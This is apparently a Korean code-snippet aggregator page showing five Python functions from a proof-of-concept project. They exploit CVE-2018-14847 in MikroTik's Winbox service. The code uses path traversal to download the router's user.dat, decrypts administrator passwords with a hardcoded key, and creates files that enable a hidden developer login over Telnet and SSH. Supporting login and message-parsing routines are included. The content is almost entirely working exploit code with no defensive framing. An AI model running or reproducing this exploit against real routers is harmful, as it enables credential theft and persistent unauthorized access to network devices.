예제 #1
0
파일: test.py 프로젝트: Jie-Geng/PoC
def get_user_dat(ip, port):
    """
    This function uses the file disclosure vulnerability, CVE-2018-14847, to
    download the user database from /flash/rw/store/user.dat

    :param ip: the address of the router to connect to
    :param port: the winbox port to connect to
    :return: a string containing the user.dat data or an empty string on error
    """

    print("[+] Attempting to connect to {}:{}".format(ip, port))
    session = WinboxSession(ip, port)
    if not session.connect():
        print("[!] Failed to connect to the remote host.")
        return ""

    # open user.dat file
    print("[+] Extracting user.dat...")
    msg = WinboxMessage()
    msg.set_to(2, 2)
    msg.set_command(7)
    msg.set_request_id(1)
    msg.set_reply_expected(True)
    msg.add_string(1, "//./.././.././../flash/rw/store/user.dat")
    session.send(msg)

    msg = session.receive()
    if not msg:
        print("[!] Error receiving an open file response.")
        return ""

    session_id = msg.get_session_id()
    file_size = msg.get_u32(2)

    if file_size == 0:
        print("[!] File size is 0.")
        return ""

    # read the user.dat file
    msg.reset()
    msg.set_to(2, 2)
    msg.set_command(4)
    msg.set_request_id(2)
    msg.set_reply_expected(True)
    msg.set_session_id(session_id)
    msg.add_u32(2, file_size)
    session.send(msg)

    msg = session.receive()
    if not msg:
        print("[!] Error receiving a file content response.")
        return ""

    return msg.get_raw(0x03)
예제 #2
0
파일: test.py 프로젝트: Jie-Geng/PoC
def create_file(ip, port, username, password):
    """
    This function creates the file /pckg/option on the target. This will enable
    the developer login on Telnet and SSH. Oddly, you'll first need to log in
    to Telnet for SSH to work, but I digress...

    :param ip: the ip address of the router
    :param port: the port of the jsproxy we'll connect to
    :param username: the username we'll authenticate with
    :param password: the password we'll authenticate with
    :return: True if we successfully created the file.
    """
    session = WinboxSession(ip, port)
    if not session.connect():
        print("[!] Failed to connect to the remote host.")
        return False

    session_id = 0
    if not session.login(username, password, session_id):
        print("[-] Login failed.")
        return False

    print("[+] Creating /pckg/option on {}:{}".format(ip, port))

    msg = WinboxMessage()
    msg.set_to(2, 2)
    msg.set_command(1)
    msg.set_request_id(1)
    msg.set_reply_expected(True)
    msg.set_session_id(session_id)
    msg.add_string(1, "//./.././.././../pckg/option")
    session.send(msg)

    msg = session.receive()
    if msg.has_error():
        print("[-]", msg.get_error_string())
        return False

    print("[+] Creating /flash/nova/etc/devel-login on {}:{}".format(ip, port))
    msg.reset()
    msg.set_to(2, 2)
    msg.set_command(1)
    msg.set_request_id(2)
    msg.set_reply_expected(True)
    msg.set_session_id(session_id)
    msg.add_string(1, "//./.././.././../flash/nova/etc/devel-login")
    session.send(msg)

    msg = session.receive()
    if msg.has_error():
        print("[-]", msg.get_error_string())
        return False

    return True
예제 #3
0
    def receive(self):
        data = self.socket.recv(4)
        if Config.DEBUG:
            print("Received header:", end=' ')
            for b in data:
                print("{:02x}".format(b), end=' ')
            print()

        to_read = self.parse_header(data)
        if to_read == 0:
            return False

        message = b''

        # reading bulks
        bulk_size = 0xfd
        while to_read > 0xff:
            # read a bulk
            bulk = self.socket.recv(bulk_size)
            message += bulk

            # skip two byte separators of 0xff
            self.socket.recv(2)

            to_read -= bulk_size
            bulk_size = 0xff

        # read remaining contents
        message += self.socket.recv(to_read)

        if Config.DEBUG:
            print("Received body:", end=' ')
            for b in message:
                print("{:02x}".format(b), end=' ')
            print()

        msg = WinboxMessage()
        msg.parse_binary(message)

        if Config.DEBUG:
            print(msg)

        return msg
예제 #4
0
파일: test.py 프로젝트: Jie-Geng/PoC
def get_password(user_dat):
    """
    Looks through the user.dat file for an enabled administrative account that
    we can use. Once a useful account is found the password is decrypted.

    :param user_dat: the contents of the users.dat file
    :return: (success, username, password)
    """

    print("[+] Searching for administrator credentials ")

    # the dat file is a series of nv::messages preceded by a two byte length
    data = user_dat

    if len(data) > 4:
        length = struct.unpack("H", data[:2])
        length = length[0]
        data = data[2:]  # skip length

        if data[:2] != b'M2':
            # this is mild insanity but the .dat file messages don't line
            # up properly if a new user is added or whatever.
            data = data[1:]  # skip the new line

        data = data[2:]  # skip M2
        length -= 4  # length + M2

        if Config.DEBUG:
            for i, d in enumerate(data):
                if i % 4 == 0:
                    print('', end=' ')
                if i % 32 == 0:
                    print()
                print("{:02X}".format(d), end=' ')

            print()

        if length > len(data):
            return False, None, None

        # parse the file contents
        msg = WinboxMessage()
        msg.parse_binary(data)

        password = ''
        # we need an active admin account
        # 0x2 has three groups: 1 (read), 2 (write), 3 (full)
        if msg.get_u32(2) == 3:  # and (not msg.get_bool(0xfe000a)):
            username = msg.get_string(1)
            encrypted_pass = msg.get_string(0x11)

            if len(encrypted_pass) == 0:  # or msg.get_u32(0x1f) == 0:
                return False, username, password

            hash_this = username + "283i4jfkai3389"
            md5_hash = hashlib.md5(hash_this.encode()).digest()

            for i, enc_char in enumerate(encrypted_pass):
                dec_char = enc_char ^ md5_hash[i % len(md5_hash)]
                if dec_char == 0:
                    # end of the string! we did it.
                    return True, username, password

                password += chr(dec_char)

            # not everything is null terminated. Kind of annoying. Let's
            # loop over the result and see if everything is ascii. If
            # so we can roll with that.
            good = True

            for c in password:
                if ord(c) < 0x20 or ord(c) > 0x7f:
                    good = False

            if good:
                return True, username, password

        return False, None, None
예제 #5
0
    def login(self, username, password, session_id):
        """
        Login to the Mikrotik router. Performs Challenge exchage authentication

        :param username: router user name
        :param password: router user password
        :param session_id: session it to connect
        :return: False if failed, session_id if success
        """

        # request the challenge
        msg = WinboxMessage()
        msg.set_to(13, 4)
        msg.set_command(4)
        msg.set_request_id(2)
        msg.set_session_id(session_id)
        msg.set_reply_expected(True)
        if not self.send(msg):
            return False

        msg = self.receive()
        if not msg or msg.has_error():
            print(msg.get_error_string())
            return False

        salt = msg.get_raw(0x9)
        if len(salt) != 16:
            msg = self.receive()
            if not msg | msg.has_error():
                print(msg.get_error_string())
                return False
            salt = msg.get_raw(0x9)

        # generate the challenge response
        m = hashlib.md5()
        one = b'\x00'
        m.update(one)
        m.update(password.encode())
        m.update(salt)
        hashed = one + m.digest()

        msg.reset()
        msg.set_to(13, 4)
        msg.set_command(1)
        msg.set_request_id(3)
        msg.set_session_id(session_id)
        msg.set_reply_expected(True)
        msg.add_string(1, username)
        msg.add_raw(9, salt)
        msg.add_raw(10, hashed)

        if not self.send(msg):
            return False

        msg = self.receive()
        if not msg:
            print("Error receiving a response.")
            return False

        if msg.has_error():
            print(msg.get_error_string())
            return False

        sess_id = msg.get_session_id()

        return sess_id